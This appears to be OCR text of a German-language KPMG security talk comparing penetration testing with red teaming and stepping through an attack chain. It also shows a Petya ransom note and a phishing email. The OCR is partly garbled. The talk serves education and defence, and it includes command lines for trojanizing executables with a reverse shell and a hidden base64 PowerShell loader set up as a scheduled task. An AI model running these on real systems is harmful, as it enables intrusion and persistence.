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Jgiralisierung von ochadso

Qoops, your files have been encrypted!

What Happened to My Computer?
Your important files are encryvpted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.

|
Payment will be raised . You became victim of the PETYA RANSOMUARE?!
s G Can | Recover My Files?

SHER01T 00:47:55 Sure. We guarantes that you can recover all your files sa
not 50 enough time, The harddisks of your computer have been encrypted with an military grade
Time Left LEUE=U T g R S L EM B A encryption algorithm. There is no way to restore your data without a special

s e L L el &8 key. You can purchase this key on the darknet page shoun in step 2.
You only have 3 days to submit the payment. After that
Also, if you don't pay in 7 days, you won't be able to reco
We will have free events for users who are so poor that t

To purchase your key and restore your data, please follow these three easy
steps:

Your files will be lost on

How Do I Pay?
Payment is accepted in Bitcoin only. For more informatid
Please check the current price of Bitcoin and buy some b 2

click <How to buy bitcoins=>. -

And send the correct amount to the address specified in . : :
After vour payment, click <Check Payment>. Best time tq http://petya37hStbhyvki.onion/N1SfuE

R T LT http://petyaSkoahtsf7sv.onion/N19fvE

1. Dounload the Tor Brouser at "https://uwuu. torproject.orgs". If you need
help, please google for "access onion page".
Uisit one of the following pages with the Tor Browser:

SR020T 00:4T:55

Time Lef

. . Send $300 worth of bitcoin to Ent ¥ 4 ti 36 43 .
b't:nln . niter your persona ecryption code ere .

[Tanzpae0t =04 | 12t9YDPgwueZSMNyMgwi19pi

If you already purchased your key, please enter it below.

Rey:



Vergieich Pentesting a Red 1eaming

Penetration Testing ) Red Teaming

Uberblick Uber Schwachstellen Ziel Test der Robustheit gegen
realistische Angriffe

Definiertes Subset Umfang Realistische Angriffspfade

Fokus auf praventiven Kontrollen Getestete Kontrollen Fokus auf Erkennung und

Reaktion
Fokus auf Effizienz Testmethode Fokus auf realistischer
Simulation
Reconnaissance , Scanning, Testtechniken Angreifer Werkzeuge,
Enumeration,... Methoden, Techniken
Sehr limitiert Post-Exploitation Fokus auf , Kronjuwelen*
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1 Reconnaissance

Nen a 1auschen

3 Initial Foothold
4  Privilege Esc.
5 Internal Recon.
6 Lateral Movement
7 Persistence

Atta C ke r 8 Finish Mission

\ 4
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PNISNING

Frohe Weihnachten von lhrer Universitat! Posteingang x  severin.winkler@gmx.at x

a |

Alumnimap <alumnimap@univie ac_at> Abbestellen 211216 -
an Alumnimap |-

Sehr geehrte Absolventinnen,
5ie haben lhr Studium an der Universitit Wien erfolgreich abgeschlossen und seither viele wichtige

Erfahrungen gesammelt. Heute méichten wir Sie zu einer spannenden Initiative einladen:

Werden Sie Teil der Online-Community von Uni-Wien-Absolventinnen auf der Alumni Map der Universitit
Wien. Sie gehéren ,dazu”, werden immer wieder Gber interessante Entwicklungen an der Uni Wien
informiert und kénnen auch gewinnen: Sobald wir 7.500 Eintrége erreicht haben, verlosen wir 3 iPad Air
(aktuell sind es ca. 7.200 Eintrége).

Was miissen Sie tun? Registrieren Sie sich so rasch wie méglich auf der Alumni Map der Uni Wien — und Sie
nehmen an der Verlosung teil. Hier geht's zur Alumni Map: alumnimap.univie.ac.at

Wir freuen uns sehr, wenn Sie sich eintragen und damit als Absolventinnen der Universitdt Wien sichtbar
werden!

Mit den besten Wiinschen fiir ein frohes Weihnachtsfest und herzlichen GriiRen,

ao. Uniw-Prof. Mag. Dr. Christa Schnabl

Vizerektorin der Universitdt Wien

Alumni Map . e
alumnimap.univieac.al .@) ]
] = C—&&_\
TRy i f1| «.ﬁ_,—’ e y i

kT d rr .

PS: Sollten Sie sich bereits eingetragen haben, bedanken wir uns herzlich - Sie brauchen nichts weiter zu tun

und nehmen automatisch an der Verlosung teil.

=
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Reconnaissance

Delivery

Initial Foothold
Privilege Esc.
Internal Recon.

Lateral Movement

Persistence

Finish Mission



1 Reconnaissance
. 2 Delivery
DBH\/B I/y 3 Initial Foothold
4  Privilege Esc.
. . ) 5 Internal Recon.
« Klassische Angriffe tber die externe Infrastruktur P T —
° PhIShlng 7  Persistence
* Spear Phishing 8  Finish Mission
* Whale Phishing
 CEO Fraud
 USB Sticks

o Spezial-“Sticks* (RubberDucky, USB Armory, etc.)
* Normale ,Sticks* mit Macro, PDF, ...
 Physisches Social Engineering ( Ziel: Netzwerkzugriff)

 Keylogger mit WLAN Modul .

e Telefonanrufe

USB Rubber Ducky USB Rubber Ducky USB Rubber Ducky Red USB Rubber Ducky Red
Deluxe Exfiltrator Team 3 Pack Team 10 Pack
$30.00 $48.99 50099 $200 99



Lodeaustunning

Office Macro
bilanz_2017.xls

Auch Exotische Dateitypen: Microsoft Publisher

HTML Application

Windows Dropper
bilanz_2017.pdf.exe
Java Applet Angriffe

bilanz_2017.hta
Datei die (nur) vom Internet Explorer ausgefihrt wird.

bilanz_interaktiv_2017.jar

Java < 2014
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Reconnaissance
Delivery

Initial Foothold
Privilege Esc.
Internal Recon.

Lateral Movement

Persistence

Finish Mission



Kommunikation nach auilen i
* Verwendung vorhandener Protokolle fur Kontrollkanal (C2) Z .Ln:::ﬁ:::em
+ HTTPS T
e HTTP
e DNS
e SMB

 IRC
e FTP

e Brithey Spears Instagram Account

R 10


https://www.heise.de/security/meldung/Hacker-steuern-ihren-Backdoor-Trojaner-ueber-Britney-Spears-Instagram-3736943.html

Reconnaissance
Delivery

Initial Foothold

PIVIEge cScalation

Ausnutzen von Schwachstellen oder Fehlkonfigurationen um volle
Systemrechte zu erlangen.

Privilege Esc.
Internal Recon.

Lateral Movement

Persistence

o o o A W N P

Finish Mission

 Windows Services

e Scheduled Tasks

 Umgehung von UAC

o Mimikatz

o Group Policy Preferences (GGP)

* Wiederverwendung von Zugangsdaten



Reconnaissance
Delivery

Initial Foothold

nieme Reconnaissance

Analyse von Hosts + Vertrauensbeziehungen
”Admln Huntlng“ 8 Z;:zi:t;:;on

Bloodhound

Privilege Esc.

Internal Recon.

o o A~ W N P

Lateral Movement

~
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%—P —_DOMAIN ADMINSEINTERNAL.LOCAL

o
F@ﬁWECHNc%.EnQ\@EM.LML

0——
6 —— S

P- ~COMAIN ADMINS@EXTERNAL LOCAL
—

A\
|

IP

Administrator WINDOWS3.dev .t ab.local 192 52.205

Administrator SECONDARY .dev. lab.local 192 52.105 192.168.52.
Administrator SECONDARY .dev. 192 52.105 192.168.52.




Reconnaissance
Delivery

Initial Foothold

atera Movement - seispiel

o o1 A W N B

Privilege Esc.
Internal Recon.
1 ) Lateral Movement
Finde alle *.exe Dateien auf allen Dateiservern die in den letzten Tagen 7 Persistence
geschrieben worden sind. 8  Finish Mission

Invoke-ShareFinder -CheckShareAccess
Find-InterestingFile -FreshEXEs —CheckWriteAccess

2.)
, Trojanisiere* diese Dateien (bzw. einzelne)
./backdoor.py -f putty.exe [..] -s reverse_shell_tcp

3.)
Kopiere die Dateien zurick
Copy-ClonedFile



Reconnaissance
Delivery

Initial Foothold

PErSISIENCe

Uberlebe den Neustart!

Privilege Esc.
Internal Recon.

Lateral Movement

Persistence

o o o A W N P

Finish Mission

o Keine Persistenz ohne Schreibzugriff auf Platte bekannt!

* Auslosung des Payloads beim Login

« Aufgabenplanung (Scheduled Tasks)
 Windows Services

 WMI (Windows Management Interface)

kPmG 14



1 Reconnaissance
. 2 Delivery
E ‘E E}‘ “ E} 3 Initial Foothold
4  Privilege Esc.
: s 5 Internal Recon.
> =] Lecal Computer Policy (Y GoogleUpda... Ready Multiple triggers defined "
P @ Task Scheduler (Local) (% GoogleUpda... Ready At 15:58 every day - After triggered, repeat every 1 hour for a duratic [ Display Al Running Tasks 6 Lateral Movement
4 [ g Task Scheduler g (% Optimize Sta.. Ready  When computer is idle & Disable All Tasks History
| Apple %) Optimize Sta... Disabled When computer is idle .
—_—— - “| Mew Folder... 7 Persistence
o J Microsoft (5 Optimize Sta... Disabled When computer is idle -
| WPD % Updater Running At 12:30 every day View 4 Einish Mission
(%) User_Feed_S... Ready At 14:14 every day - Trigger expires at 03.02,2026 14:14:44, Mew Window from Here
(T User_Feed S... Ready At 01:27 every day - Trigger expires at 18.02.2025 01:21:56. A Refresh
Help
< >
Selected ltem A
I General | Triggers | Actions | Conditions | Settings | History b Run
= . cha m End
@ Updater Properties (Local Computer)
B B Disable
- Edit Action
General | Triggers | Actions | Conditior Export...
When you create a task, you must spe You must specify what action this task will perform. Properties
Action: | Start a program v  Delete
Action : Settings Help
Start a prog 3
Program/script:
C:h\Windows\System @l .'D\poErs Browse...
Add arguments (optional): ‘ersion debus)-debuaJ]J"|
Start in (optional):
[ “new 2 - Notepad++ = B I
File Edit S5Search View Enceding Language Settings Macre Run TextFX  Plugins Window 7
sHHeR LBl smb|iaeny x| BEEE1ERER CENENEIEG
& notizen_sw bd .Jl Enew 1 £ [ Hnew 2 E:I|
<
1 -NonI -W hidden -c "IEX
New... [

([Text.Encoding] : :UNICODE.GetString ([Convert] ::FromBase6dString ((gp

m=ma 15



RISKEN DEIM Red [edming

 Unterschiedliche Zielsetzungen
« CEO will Pentest, CFO will Social Engineering, durchgeftihrt wird Red Teaming
* Unklare Kommunikation
 Was wird abgestimmt und was nicht?
e C2 Verbindungen nicht (mit Betriebsrat) abgestimmt.
 Datenschutz
« \Was passiert wenn ein Mitarbeiter USB Sticks privat ansteckt?
e Scope Creep
« Ab wann wird aus Red ein Blue Teaming?

16



|ake Aways - Red Ieaming

realistisches Bild

aufwandiger als klassischer Pentest
langere Durchlaufzeit
Abstimmungsaufwand

Apfel & Birnen:

* Pentest

* Pentest mit allen Delivery Methoden
 Red Teaming

* Purple Teaming

17



F[agen?

KPMG

Severin Winkler

Manager
Cyber Security / IT Advisory

KPMG Security Services GmbH M +43 664 820 24 24

Porzellangasse 51
1090 Wien

severinwinkler@kpmg.at
kpmg.at
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Referenzen: APT Modele

Raytheon:
https://krypt3ia.files.wordpress.com/2012/02/apttacticsraytheon.|pg

Symantec:

http://www.symantec.com/content/en/us/enterprise/images/b-apt_infographic.jpg

Wikipedia:

https://upload.wikimedia.org/wikipedia/commons/7/73/Advanced_persistent threat_lifecycle.jpg

m © 2017 KPMG Security Services GmbH, dsterreichisches Mitglied des KPMG-Netzwerks unabhangiger Mitgliedsfirmen, die KPMG International Cooperative (,KPMG International®), einer juristischen Person schweizerischen
Rechts, angeschlossen sind. Alle Rechte vorbehalten. Printed in Austria. KPMG und das KPMG-Logo sind eingetragene Markenzeichen von KPMG International

19


https://krypt3ia.files.wordpress.com/2012/02/apttacticsraytheon.jpg
http://www.symantec.com/content/en/us/enterprise/images/b-apt_infographic.jpg
https://upload.wikimedia.org/wikipedia/commons/7/73/Advanced_persistent_threat_lifecycle.jpg

REIBrenzen

PowerSploit
https://github.com/PowerShellMafia/PowerSploit.qit
Empire

https://github.com/PowerShellEmpire/Empire
https://enigma0x3.net/2015/08/26/empire-tips-and-tricks/
Cobalt Strike

https://www.cobaltstrike.com

Nishang
https://github.com/samratashok/nishang

http://resources.infosecinstitute.com/nishang-a-post-exploitation-framework/

Veil Framework
https://www.veil-framework.com/

Persistence options with Empire
http://www.harmjOy.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
Mitre ATT&CK Framework

https://attack.mitre.org

m © 2017 KPMG Security Services GmbH, dsterreichisches Mitglied des KPMG-Netzwerks unabhangiger Mitgliedsfirmen, die KPMG International Cooperative (,KPMG International®), einer juristischen Person schweizerischen
Rechts, angeschlossen sind. Alle Rechte vorbehalten. Printed in Austria. KPMG und das KPMG-Logo sind eingetragene Markenzeichen von KPMG International
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https://github.com/PowerShellMafia/PowerSploit.git
https://github.com/PowerShellEmpire/Empire
https://enigma0x3.net/2015/08/26/empire-tips-and-tricks/
https://www.cobaltstrike.com/
https://github.com/samratashok/nishang
http://resources.infosecinstitute.com/nishang-a-post-exploitation-framework/
https://www.veil-framework.com/
http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
https://attack.mitre.org/
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